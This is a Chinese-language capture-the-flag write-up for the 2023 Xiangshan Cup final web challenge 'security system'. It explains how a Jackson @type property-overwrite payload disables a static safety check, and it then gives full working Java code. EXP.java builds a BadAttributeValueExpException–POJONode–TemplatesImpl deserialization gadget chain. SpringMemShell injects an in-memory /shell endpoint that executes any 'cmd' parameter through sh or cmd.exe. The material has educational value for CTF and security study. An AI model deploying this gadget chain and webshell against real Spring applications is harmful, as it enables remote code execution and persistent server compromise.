【Web】2023香山杯决赛 security system 题解-编程知识

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step 0

step 1

step 2

step 3

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①题目hint：想办法修改属性值后进入java的原生反序列化，然后利用jackson链写入内存马

②jackson反序列化基础：

ObjectMapper objectMapper = new ObjectMapper();
String jsonString = "{\"@type\":\"com.example.Person\",\"name\":\"John\",\"age\":30}";
Person person = objectMapper.readValue(jsonString, Person.class);

在这个示例中，Jackson会根据@type字段的值com.example.Person来确定应该创建一个Person对象，并将JSON中的其他属性值映射到该对象的属性上。

需要注意的是，在使用@type字段时，需要确保对应的Java类路径在类加载器的搜索路径上，并且Jackson的ObjectMapper能够访问到这些类。

③jackson性质：

如果在Jackson反序列化过程中，指定的目标类为 LinkedHashMap，而 JSON 字符串中包含了 @type 字段，那么 Jackson 会将 @type 字段作为 LinkedHashMap 的一个普通属性来处理，而不会将其视为 autotype。

假设有以下 JSON 数据：

{"@type": "com.example.Dog","name": "Buddy","breed": "Golden Retriever"
}

@type 字段将被作为普通属性存储在 LinkedHashMap 中，而不会触发对应用于 Dog 类的自动类型解析。因此反序列化后的结果将是一个 LinkedHashMap 实例，其中包含了 @type 字段及其它属性。

step 0

pom依赖只有spring可以利用

反序列化入口有两处，第一处是jackson反序列化，第二处是无过滤的原生反序列化

step 1

重点关注几个方法

①SecurityCheck.isSafe()

默认返回true，因为是static，所以可改属性值

②SecurityCheck.ismap() 返回一个HashSet

HashSet的无参构造方法就是实例化一个HashMap并存进map属性中

add的值，即HashMap的key就是HashSet的iterator所取的内容，而PRESENT作用是占位

③SecurityCheck.deObject

这段代码主要用于在反序列化过程中，根据@type字段的值动态确定要创建的对象类型，并将LinkedHashMap中的属性值赋给对应的对象属性。

这也要求我们jackson反序列化得到的类要是LinkedHashMap或其子类

step 2

链子很简单

参考这篇文章:【Web】浅聊Jackson序列化getter的利用——POJONode_jackson反序列化调用getter-CSDN博客

BadAttributeValueExpException -> POJONode -> TemplatesImpl

但首先要在第一个反序列化入口打入属性覆盖，从而为进入第二个反序列化入口创造条件

注意因为指定了class与LinkedHashMap相关，这里的第一个@type是作为属性来处理

{"@type":"ctf.nese.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"反序列化字符串":""}}}

指定的class要继承LinkedHashMap，可以用org.springframework.core.annotation.AnnotationAttributes

最终payload:

classes=org.springframework.core.annotation.AnnotationAttributes&obj={"@type":"com.example.jackson.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"序列化字符串":""}}}

step 3

生成序列化字符串

EXP.java

package com.example.jackson;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;public class EXP {public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");ctClass0.removeMethod(writeReplace);ctClass0.toClass();byte[] code = Repository.lookupClass(SpringMemShell.class).getBytes();byte[][] codes = {code};TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "useless");setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", codes);POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));BadAttributeValueExpException val = new BadAttributeValueExpException(null);setFieldValue(val, "val", node);byte[] poc = ser(val);System.out.println(Base64.getEncoder().encodeToString(poc));}public static byte[] ser(Object obj) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);objectOutputStream.writeObject(obj);objectOutputStream.close();return baos.toByteArray();}public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templates);Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);return proxy;}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}
}

SpringMemShell

package com.example.jackson;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;public class SpringMemShell extends AbstractTranslet{static {try {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");configField.setAccessible(true);RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();SpringMemShell springControllerMemShell = new SpringMemShell();mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);} catch (Exception hi) {
//            hi.printStackTrace();}}public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {if (request.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

第一次打入来覆盖SecurityCheck